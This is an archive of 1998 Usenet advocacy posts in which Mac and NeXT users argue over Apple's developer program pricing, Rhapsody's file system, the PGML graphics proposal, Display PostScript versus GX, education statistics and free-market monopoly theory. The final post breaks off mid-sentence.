Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 14:48:12 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1404981448130001@132.236.171.104>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr> <9APR98.16105101@fredjr.pfc.mit.edu> <6gm2ce$7j4$7@anvil.BLaCKSMITH.com> <ericb-1304982036320001@132.236.171.104> <mingo-1304982204460001@port5.dial2.gain-ny.com>
In article <mingo-1304982204460001@port5.dial2.gain-ny.com>,
mingo@NOSPAM.panix.com (Charlie Mingo) wrote:
> As for which of these two is the "default" version, I guess you'd have to
> say "neither," as Apple (and just about all third-party vendors) still
> ships all hard disks in plain HFS format. Rhapsody comes on a CD-ROM, and
> you have to reformat your hard disk before installation.
There is an old document on Apple's web server from sometimes last year--I
think it's the "Strategy Mosaic" on HFS+--that says it will be the default
under Rhapsody. For purposes of simple MacOS compatibility--since MacOS
[blue box] can also read HFS+--this seems reasonable.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: PostScript coming to the Web?
Date: 14 Apr 1998 18:42:02 GMT
Organization: P & L Systems
Message-ID: <6h0alq$oop$47@ironhorse.plsys.co.uk>
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Thanks to Steve Ivy for pointing this one out:
http://www.w3.org/TR/1998/NOTE-PGML-19980410.html
1. Abstract
This document is the specification for the Precision Graphics Markup Language
(PGML). PGML is a 2D scalable graphics language designed to meet both the
simple vector graphics needs of casual users and the precision needs of
graphics artists. PGML uses the imaging model common to the
PostScript(R)language and Portable Document Format (PDF); it also contains
additional features to satisfy the needs of Web applications.
[...]
2.4 A Proven Imaging Model
PGML uses the imaging model of the PostScript language and PDF as its basis
in order to provide simple-to-use graphical objects and precise visual
fidelity.
[...]
2.5 Extensions to Satisfy the Needs of the Web
PGML extends the PDF/PostScript imaging model to add features needed for Web
applications, such as transparency and anti-aliasing.
[...]
Wouldn't it be great if Rhapsody (or YellowBox) were the first platform to
support this... :-)
Best wishes,
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 14 Apr 1998 11:55:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1590035-5B0E7@206.165.43.147>
References: <6gvhib$8u$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
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Maury Markowitz <maury@remove_this.istar.ca>
> > Also, the people in charge of graphics at Apple *invented*
> > DPS, not
> > >GX, so they have a certain level of bias, also.
>
> Let me see if I understand this...
>
> Team 1 from Apple creates DPS
> Team 2 from Apple creates GX
>
> I'm supposed to believe that...
>
> a) Team 1 is biased
> b) Team 2 is better than Team 1
>
> More "Lawgic".
No. Team 1 is in charge. Team 2 is disbanded. Team 1 makes comments.
I suggest that since Team 1 is the only one left to make comments, that
they are biased. Team 2 is no longer available, so it CANNOT make comments,
and hence can't even be biased (although that I'm sure that they would be
if they were still around and DID make comments).
The point is: you're getting one side of the story from Apple and assuming
that since it is Apple engineers making the comments, that GX must be no
good since Apple engineers also made GX.
'taint necessarily so.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 14:54:34 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1404981454340001@132.236.171.104>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net> <ericb-0904981707160001@132.236.171.104> <6gqlb4$oop$26@ironhorse.plsys.co.uk> <ericb-1304982030210001@132.236.171.104> <6gvkir$oop$41@ironhorse.plsys.co.uk>
In article <6gvkir$oop$41@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> You said you couldn't learn about Rhapsody programming without joining the
> program. I pointed out you could. You have a choice. How serious are you
> about getting started?
I would rather fork over the $500 for the developer program than $250 for
OpenStep and $1500 for a new computer.
Some people (students) do not have that money to spend, regardless of how
serious they are. If it were not a hobby, I (personally) could justify
$500, but if it were my job, I wouldn't be paying for it out of my own
pocket anyway!
I will not pay $500. If I need stability I'll have to stay with PowerPC
Linux. If the developer CD mailing for $200 included seeds, I could
probably justify the expense. $500 is too much for me, and probably for
lots of other students. If Apple really *is* working on an educational
developer program, then they too probably recognize this fact.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: 14 Apr 1998 15:39:36 GMT
Organization: the unstoppable code machine
Message-ID: <6gvvvo$8g9$2@leonie.object-factory.com>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51>
<ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net>
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..meanwhile, somewhere else..
mmalc : "What's on TV?"
holger: "There's this big war, like, with USA and Europe, and the Spice Girls
and stuff."
mmalc : "Dude, that sucks."
holger: "Yeah. Change it."
<exeunt>
hh
--
Holger Hoffstaette - holger"at"object-factory.com
Object Factory GmbH - http://www.object-factory.com/
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: Tue, 14 Apr 1998 14:37:05 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3533BAE1.3B33@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104>
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Eric Bennett wrote:
> My question is: If it is possible for one body (the government) to
> regulate the marketplace, and perhaps prevent it from truly being "free,"
> is it not possible for a second body to accumulate power that also
> restricts the "free market?" The implication, of course, is that a very
> powerful company like Microsoft can become so powerful that the "free
> market" isn't really free anymore. Clearly Microsoft does not have as
> much power as the United States Government with regards to regulating the
> software industry. But do they have enough power that they can restrict a
> free market to a harmful degree? *That* is the question I think most
> people who support government intervention are trying to ask.
My answer would be that yes, it is possible for a company that exists
wholly within the free-enterprise market to exert some kind of
controlling influence. I think this is pretty self-evident.
Bear in mind that "free", as in "free market", refers to freedom from
regulation from without the market, not from within. "Regulation", as
applied to government, and "regulation", as applied to internal market
forces, are two totally separate and distinct concepts that have no
theoretical commonalities with relevance to free-market doctrine.
> My question, then, is: is it rational to assume that capitalism can never
> result in a corporation so powerful that it can single-handedly destroy
> the free
> market that created it?
I won't say that it's impossible to imagine a monopoly. I *will* say
that I don't believe they have ever existed for extended periods of time
without the help of government regulation. The example of British
Telecom before and after its privatization is fairly instructive, here.
There are irresistible reasons for the near-impossibility of monopolies
in a healthy economy, it's that simple. The United States has a healthy
competitive economy, and thus unrestricted trade in that environment, in
my opinion, will always lead to a turnover of market leaders. Today's
rhetoric concerning Microsoft's unique position in the marketplace is
*not* unique; the exact same sentiments were voiced about IBM when
mainframes were of primary importance in the computing world. Technology
shifted, and IBM's control was broken. This took place *internally* to
the free market.
> Clearly the "free market" leads to unpleasant things like price fixing
> schemes when one or a few companies gain too much power. Usually, the
> consumer has no way of knowing about these schemes; they're kept secret.
Unethical behavior is a sad fact of life in a market which enjoys
unrestricted trade. I don't think it's possible to wish poor ethics away
in the well of government intervention.
However, strong market forces oppose poor ethics. The example of
consumers who are willing to pay a premium for environmentally-clean
power sources goes a long way toward demonstrating this.
> They're only uncovered because consumers have set up investigative
> agencies like the FTC to keep the schemes in check. In the absence of
> these agencies, the existence of these schemes would not be uncovered, and
> we'd go on forever falsely believing that we were living in a free market
> economy.
To reiterate: a free market is one which enjoys unrestricted trade, in
which commerce takes place without external influence. The extent to
which that market is "free" is dictated by the amount of sullying
influence from external forces which are by definition not significantly
subject to the market itself.
The "free" nature of a free market is not compromised by internal
influences, no matter how contrived they appear to short-lived
observers.
> On my web page, I go into a bit more detail explaining why I think
> government intervention can be necessary, and why it is needed in this
> case. Feel free to read and respond to that as well:
> http://biochem.bio.cornell.edu/emb22/eric/ms.ques.html#govbus
Thanks for the pointer.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104>
In-Reply-To: <ericb-1404981442150001@132.236.171.104>
From: not@my.address.net
Message-ID: <q%OY.7$BO3.53280@news.itd.umich.edu>
Date: Tue, 14 Apr 1998 19:43:18 GMT
NNTP-Posting-Date: Tue, 14 Apr 1998 15:43:18 EDT
In article <6gupoo$ogs$1@news3.alpha.net>, rpeterson@msn.globaldialog.com
(Ron Peterson) wrote:
> If you will check http://nces.ed.gov/pubs/eiip/eiipid11.html, you will
> find that the U.S. has a higher percentage of college graduates
> than any European country.
>
Thanks for the reference. But it's hard to know what to make of the data.
For example, according to Table 11, only 16% of Americans have failed to
complete at least an "Upper Secondary" education. Compare the rates in
some other countries:
New Zealand 43%
Ireland 58%
Yet I'm deeply sceptical that literacy rates in the USA are higher than in
New Zealand or Ireland. In fact, I suspect they are sharply lower. And my
guess is that the gap is even bigger in basic arithmetic and other
elementary mathematical skills.
It's interesting too that they didn't include any data from Eastern Europe.
I was amazed to look over some English translations of Russian elementary
mathematics textbooks (available from the University of Chicago). In the
former Soviet Union, children started school at age 7 and continued for 10
years. Calculus was introduced in grade 9 (to kids that would be in grade
10 if they were in the American system). This was the "base" level of
education provided to and expected of every child. What percentage of
Americans, with a college degree or not, have had two solid years of
Calculus?
I'm not trying to tip anyone's cup of tea. No "this country is better than
that country" agenda on my plate today. But I'm not sure if the data
you've provided tell us much about the sort of education people in
different countries have received.
--
invert: umich.edu jdevlin
insert: shift "2"
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 14 Apr 1998 19:27:41 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6j7e55.rtr.mbkennel@lyapunov.ucsd.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net>
On Tue, 14 Apr 1998 01:03:52 -0600, Michael Peck <mjpeck@nstar.net> wrote:
:Matt Kennel wrote:
:>
:> On Mon, 13 Apr 1998 14:01:53 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
:
:> :That's sort of a long-winded way of reducing all of free-market economic
:> :theory to one or two dependent variables. Cute.
:>
:> And that's a cute way of diverting attention from an authentic dynamical
:> problem.
:>
:> :The truth of the matter is that technology is the great leveler. The
:> :market rewards companies which can provide desirable services at the
:> :lowest cost and with the most appealing delivery.
:>
:> Technology changes the economic structure of markets. It doesn't
:> particularly 'level' or 'unlevel'. Just sprinkling a little "technology"
:> here and there doesn't create miracles. It's the same fuzzy thinking that
:> getting every school child an Internet account is somehow going to make all
:> of them learn more.
:
:Funny, I don't see the connection, since I am adamantly opposed to
:allocating federal funds to "wiring" schools while overpaid,
:underqualified educators continue to abuse the education system through
:the NEA union.
I was trying to say that just adding "technology" to the mix doesn't
magically eliminate anticompetitive and undesirable market dynamics any more
than adding "internet" to classrooms eliminates ignorance. It's buzzword
thinking.
:
:The "levelling" to which I alluded is in direct reference to the fact
:that *all* companies are required to be competitive in the face of a
:high rate of technology turnover.
:Technology, in general, is a fertile
:and diverse field over which no company can hold exclusive control;
:therefore, all companies have equal access to the opportunities provided
:by the dynamic nature of technology.
By this measure all companies always had just as much equal access to
opportunities provided by capital and labor for hundreds of years. So what?
Monopolistic problems come in complicated, specific packages and mixing
technology into it doesn't automatically immunize one from this.
Sometimes it helps promote free markets, and sometimes not. Details matter.
:[cut]
:
:> And this free market has been very carefully created and engineered
:> economists and bureaucrats and lawmakers.
:
:Er, no. The net effects of economists, bureaucrats, and lawmakers are
:regulation, restriction, and favoritism. I don't need to stretch very
:far to come up with compelling examples: the abuse of the Interstate
:Commerce clause, the Federal Tax Code, the EPA.
I was specifically talking about electricity generation deregulation.
(And I also happen to live in southern california and am very pleased with
the net effect of the EPA on our air.)
:I'm curious: in what way did these people "create" a system which, by
:nature, already exists?
"in nature"??? Surely not! It's a consequence of all sorts of social
norms, laws and precedent which arose from a certain culture with a certain
outlook, and intentionally crafted by humans to result in a desirable outcome.
:> A laissez faire electricity market has one company locking in every possible
:> supplier to large geographic regions and charging as high prices as
:> possible, that is, until increasing the price further results in
:> sufficiently less consumption to offset the higher prices.
:
:Hmmm, odd. The part about one company makes zero sense in the context of
:a free-market; perhaps you mean "regulated market"? Typo?
No, I meant a "laissez faire" market where entities were not constrained by
any external rules besides basic property rights---it is to the mutual
economic benefit of electricity producers and transmitters to collude to
rip off the public, if they could. Even Adam Smith recognized this obvious
possibility.
:The part about charging higher prices until increasing the price results
:in sufficiently fewer customers to offset higher prices is true. It's
:sort of self-evident in a free market, I would think.
Whoa!! Major major misconception here:
The existence of a demand curve is a consequence of simple microeconomics
and is BY NO MEANS a moral or legal justification for monopoly!
Likewise, its existence is not any sort of evidence of a free market.
This is really important to understand.
:
:> And this company
:> would make obscene profits, its CEO an enormous bonus and multi-gazillion
:> dollar house and airstrip (cut from an old-growth redwood forest), and would
:> be heralded for "strategic genius" by the fawning Wall Street Journal
:> editorial page, even though thousands of bright 11 year olds who've played
:> Monopoly(tm) could have figured out the same obvious strategy. And the
:> company would take out disingenuous advertisments explaining how they are
:> not monopolistic because there is a demand curve.
:
:Ah, the reference to Microsoft. I suppose a single company over a
:ten-year period is sufficient basis for sound economic theory.
I wasn't thinking about Microsoft in particular, but this effect has a history
much longer than ten years.
:> :The response in the article is that "the market will reward companies
:> :that manage to provide clean power at the cheapest prices".
:>
:> The market will probably reward those companies who "slam" enough widows's
:> and orphans's utility bills to their accounts.
:
:Wow, this reads like a parody rather than a real argument.
No I think it will be a real problem. In a laissez faire market it could
easily happen which is why there are laws preventing such annoying things.
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Tue, 14 Apr 1998 12:22:22 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-1404981222220001@dante.eng.uci.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104>
In article <ericb-1404981442150001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
>According to Fussell, we have more PhDs awarded in "education" than any
>other field. Given that, and given that so many Americans have college
>degrees, why is it that Americans do so poorly when it comes to
>head-to-head skills comparisons with citizens in so many foreign nations?
>And why is the illiteracy rate in the United States so high? Why can't
>American students find Mexico on a map (I'm not making this up!).
Because the US does not put a quality education at a higher priority than
highways, Internet2, bombers, welfare, social security, and so on. Not in
terms of media attention. Not in terms of federal or local spending. Not
in terms of quality control, regulation, and a number of other measures.
The government doesn't see education as a priority. The taxpayers
typically don't. The media doesn't. Is it any wonder why students don't?
Not until college and you start to show dollar signs behind a degree do
they seem to take education more seriously.
We have no sense of pride behind a good education (rather we tend to
reward stupidity if you watch television at all) and we show no
willingness to sacrifice towards education. The push to put computers in
classrooms (as if they will compensate for poor teachers or poor thinking
skills by students) seems like more harm than good and is money poorly
spent.
The biggest problem with education in the US right now is a lack of
dollars. If I could teach for what I make now (which isn't very much) I'd
do it and I think a lot of other people would as well. But teaching isn't
very rewarding when you can't afford housing. Education in the US has a
lot of other problems as well, but dollars will solve some of the most
destructive ones.
Consider that some 30% of all public schools in our nations capitol were
deemed dangerous or unsuitable for occupation this past summer and
couldn't open. When was the last time you heard of a post office or fire
station being unsuitable for occupation?
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Tue, 14 Apr 1998 14:59:34 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3533C026.45F2@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <slrn6j7e55.rtr.mbkennel@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matt Kennel wrote:
> :Technology, in general, is a fertile
> :and diverse field over which no company can hold exclusive control;
> :therefore, all companies have equal access to the opportunities provided
> :by the dynamic nature of technology.
>
> By this measure all companies always had just as much equal access to
> opportunities provided by capital and labor for hundreds of years. So what?
> Monopolistic problems come in complicated, specific packages and mixing
> technology into it doesn't automatically immunize one from this.
>
> Sometimes it helps promote free markets, and sometimes not. Details matter.
Systems matter. Details matter, too, but I suspect that by using
"details" you are trying to rationalize the application of situational
ethics to what is a systematic proposition. Attempting to "second-guess"
the marketplace results in regulatory attempts to "tweak" rather than
enforce and adjudicate and otherwise reinforce the fundamental notions
controlling the market. It is government's role to enforce laws and
arbitrate disputes, *not* to make exceptions based on short-term
circumstance.
Surely you're familiar with Chaos theory, or even elementary biology?
The ripple effects of unilateral intervention in a homeostatic system?
Fortunately, the negative feedback responses inherent in the free-market
system strongly favor balance, but it's clear from history that for at
least as long as government directly intervenes in the private sector,
the negative consequences outweigh the positive effects of the
intervention, as proven from the fact that a *superior* balance is
acheived shortly *after* regulatory powers are removed. Look at
telephone and utility deregulation in the U.S., Canada, and UK.
> :Er, no. The net effects of economists, bureaucrats, and lawmakers are
> :regulation, restriction, and favoritism. I don't need to stretch very
> :far to come up with compelling examples: the abuse of the Interstate
> :Commerce clause, the Federal Tax Code, the EPA.
>
> I was specifically talking about electricity generation deregulation.
> (And I also happen to live in southern california and am very pleased with
> the net effect of the EPA on our air.)
The efforts you speak of (by "economists, bureaucrats, and lawmakers")
are purposed to *remove* regulations enacted by previous economists,
bureaucrats, and lawmakers. Are you asking me to take revocatory action
as evidence of the positive effect of proaction on the part of Federal
regulators? That's like saying that arsons are good for home safety if
they help put out the fires they start. Or, more directly, that they
created the homes in the first place, to paraphrase your previous
posting.
> :I'm curious: in what way did these people "create" a system which, by
> :nature, already exists?
>
> "in nature"??? Surely not! It's a consequence of all sorts of social
> norms, laws and precedent which arose from a certain culture with a certain
> outlook, and intentionally crafted by humans to result in a desirable outcome.
You're saying that a commercial relationship does *not* naturally exist
between human beings...is that right?
Actually, it appears you're going farther than that: that commerce does
not exist without rational comprehensive establishment by governmental
authority, is that right?
> :Hmmm, odd. The part about one company makes zero sense in the context of
> :a free-market; perhaps you mean "regulated market"? Typo?
>
> No, I meant a "laissez faire" market where entities were not constrained by
> any external rules besides basic property rights---it is to the mutual
> economic benefit of electricity producers and transmitters to collude to
> rip off the public, if they could. Even Adam Smith recognized this obvious
> possibility.
As a short-term effect of unrestricted trade, yes. Any idiot can
recognize that a dynamic system does not enjoy perfect staticity for
every possible continuous period; that's antithetical to the concept of
a free market. Thus the rise and fall of particularly irresistible
forces at some time or another is inevitable.
This does not address the fact that intervention on the part of external
forces in an attempt to correct pendulum swings and the like with a net
positive effect is nearly impossible.
> :The part about charging higher prices until increasing the price results
> :in sufficiently fewer customers to offset higher prices is true. It's
> :sort of self-evident in a free market, I would think.
>
> Whoa!! Major major misconception here:
>
> The existence of a demand curve is a consequence of simple microeconomics
> and is BY NO MEANS a moral or legal justification for monopoly!
> Likewise, its existence is not any sort of evidence of a free market.
>
> This is really important to understand.
I don't see your point whatsoever. My statement posits the existence of
a demand curve, period. My statement doesn't say anything whatsoever
with regard to monopolies, nor to any moral or legal justification for
the same.
> :Ah, the reference to Microsoft. I suppose a single company over a
> :ten-year period is sufficient basis for sound economic theory.
>
> I wasn't thinking about Microsoft in particular, but this effect has a history
> much longer than ten years.
Twenty years? For the sake of argument? I don't see your point. Is the
history of Microsoft's involvement in the software industry longer than
its actual existence as a corporation? Enlighten me.
> :Wow, this reads like a parody rather than a real argument.
>
> No I think it will be a real problem. In a laissez faire market it could
> easily happen which is why there are laws preventing such annoying things.
Well, I'm sorry you're annoyed. It's just that I don't envision
government's existence being (even partly) justified by its ability to
reduce the influence of "annoying things". Call me a "big picture" type
of guy, I dunno.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 19:59:31 GMT
Organization: Digital Fix Development
Message-ID: <6h0f73$5cq$1@news.digifix.com>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147>
In-Reply-To: <B159020F-6203B@206.165.43.147>
On 04/14/98, "Lawson English" wrote:
>Joe Ragosta <joe.ragosta@dol.net> said:
>
>> 1. If there are hundreds of such products, please name a few. NOT
>counting
>> educational products, since they aren't covered by this program.
>>
>
>Stuffit. Raymond Lau invented this while in HIGH SCHOOL (he was 16, I
>believe), so he wouldn't be covered by any higher ed discount.
>
Yet he managed to continue it, make money, and build it into a
defacto standard on the Mac.
All with the seeds... probably without any apple support..
Great argument for hobbists doing it for themselves.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 16:44:07 +0200
Organization: Guest of OLEANE
Message-ID: <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104> <6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com> <6gq8bi$oop$20@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > 1 WebAbject is 99$ for administrative use only..
> >
> Where does it say that?
On < http://www.macintouch.com/newsprevious.html>:
MacInTouch sources report that Apple will begin selling WebObjects
Enterprise Developer 3.5 (including WebObjects Enterprise Unlimited
Deployment) to educational customers for just $99 next week - for
academic and university-related administrative use. (Support is not
included.)
Date: Tue, 14 Apr 1998 10:37:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1404981037440001@wil44.dol.net>
References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com>
In article <6gvqbt$hnq@shelob.afs.com>, Greg_Anderson@afs.com wrote:
> Rex Riley writes
> > ITS AN INVESTMENT. It has risks. It has rewards. It isn't going to
> > be easy. It won't be free. Do-the-math "before". No reward? It"s a bad
> > investment. Investments need management. Figure out where the
> > investment can make you the most return. Monitor the investment. Too
> > expensive? Maybe it's not the right investment for you.
>
> This comment is way off the mark. Many significant improvements in our
> industry have come from so-called hobbyists who had access to "cool" tech
> and leveraged it to do things that its designers had never foreseen. The
> Mac market probably provides hundreds of examples of apps and utilities
> that never would have seen the light of day if it cost $3500 -- or even
> $500 -- to get in. We don't need this "business snob" attitude.
Well, let's see:
1. If there are hundreds of such products, please name a few. NOT counting
educational products, since they aren't covered by this program.
2. Of these hundreds of such products, please name the ones which would
not be developed under the current plan. Remember, previously, you had to
pay to get SDKs. Today, you can download them for free.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Tue, 14 Apr 1998 13:54:36 -0700
Organization: "The Company" (Formerly Known As Obsidian)
Message-ID: <forrestDELETE-THIS!-1404981354360001@term3-10.vta.west.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <sczY.1017$ME2.5365651@news.itd.umich.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@CONVEX.COM>
WRT natural monopolies:
I beleive that it is the tendancy of a free market to produce a natural
monopoly. But that said monopoly will eventually upset the workings of the
system itself that it falls, and takes many others with it. Similar to
evoloution and mass extinctions. Every time a certain species or group of
species gets in too much power, an unexplainable mass extinction occurs.
We're next, if we don't keep ourselves from ruining the planet with all
this power. In nature, it's usually a food-chain thing that causes the
system to fall, where the dominant species hunts the rest of it's food to
near-exitnction, and then the dominant species starves to death. In
economic systems, it's stagnation. The monopoly gets in a position where
it no longer needs to innovate AT ALL to hold it's customers, and so that
market stagnates and becomes outdates relative the the rest of the
markets, and the monopoly and it's entire marketplace fall.
The universe is self-correcting. If something doesn't work, it eventually
dies or dissapears, only to be eventually replaced by something that does
work. When a system is balanced, it works and moves forward. When the
balance is upset, the forward-motion (evoloution) of the system slows, and
when the balance is completely gone, the system falters and dies. We as
humans are in a unique position to try to keep a balance, keep the system
moving forward. Or we can just overpower everything, live a few happy
moments, and then die with the rest of the system. I'm putting my money on
the latter.
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 14 Apr 1998 15:57:24 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h0114$bnb$2@ns3.vrx.net>
References: <6gvhib$8u$2@ns3.vrx.net> <B1590035-5B0E7@206.165.43.147>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1590035-5B0E7@206.165.43.147> "Lawson English" claimed:
> No. Team 1 is in charge. Team 2 is disbanded. Team 1 makes comments.
I see no comments from Team 1 or Team 2, aside from those I've received
from the later in e-mail.
> I suggest that since Team 1 is the only one left to make comments, that
> they are biased. Team 2 is no longer available, so it CANNOT make comments,
> and hence can't even be biased (although that I'm sure that they would be
> if they were still around and DID make comments).
Ahh yes, it's all revisionist history at work!
> The point is: you're getting one side of the story from Apple
I get NONE of the story from Apple.
Maury
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Apr10103112@slave.doubleu.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu>
<j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5>
<6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
<gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net>
<6ggmk2$jdl$1@news.digifix.com> <352D4957.84AE1890@alexa.com>
In-reply-to: Joshua Winsor's message of Thu, 09 Apr 1998 15:19:04 -0700
Date: 14 Apr 98 20:53:07 GMT
In article <352D4957.84AE1890@alexa.com>,
Joshua Winsor <joshua@alexa.com> writes:
Scott Anguish wrote:
> Now, as far as Rhapsody is concerned it is leaving a gap, but
> only because of the time-frame.... However if you join Select
> you're still covered.
Download GnuStep and MKLinux, all free, MKLinux paid for by Apple,
